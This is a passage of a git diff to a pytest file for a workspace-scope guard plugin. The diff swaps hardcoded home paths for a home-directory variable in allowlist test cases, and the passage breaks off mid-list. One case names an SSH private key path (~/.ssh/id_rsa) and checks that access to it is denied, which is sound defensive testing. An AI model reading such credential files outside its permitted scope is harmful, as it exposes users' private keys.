changed, 2 insertions(+), 2 deletions(-) diff --git a/tests/plugins/test_guard_workspace_scope.py b/tests/plugins/test_guard_workspace_scope.py index ed37687..ebd0d4e 100644 --- a/tests/plugins/test_guard_workspace_scope.py +++ b/tests/plugins/test_guard_workspace_scope.py @@ -66,10 +66,10 @@ class TestIsAllowlisted: @pytest.mark.parametrize( "path, expected", [ - ("/home/vscode/.claude/rules/foo.md", True), + (f"{guard_workspace_scope._home}/.claude/rules/foo.md", True), ("/tmp/scratch.txt", True), ("/workspaces/proj/file", False), - ("/home/vscode/.ssh/id_rsa", False), + (f"{guard_workspace_scope._home}/.ssh/id_rsa", False), ], ids=[ "claude_config_dir",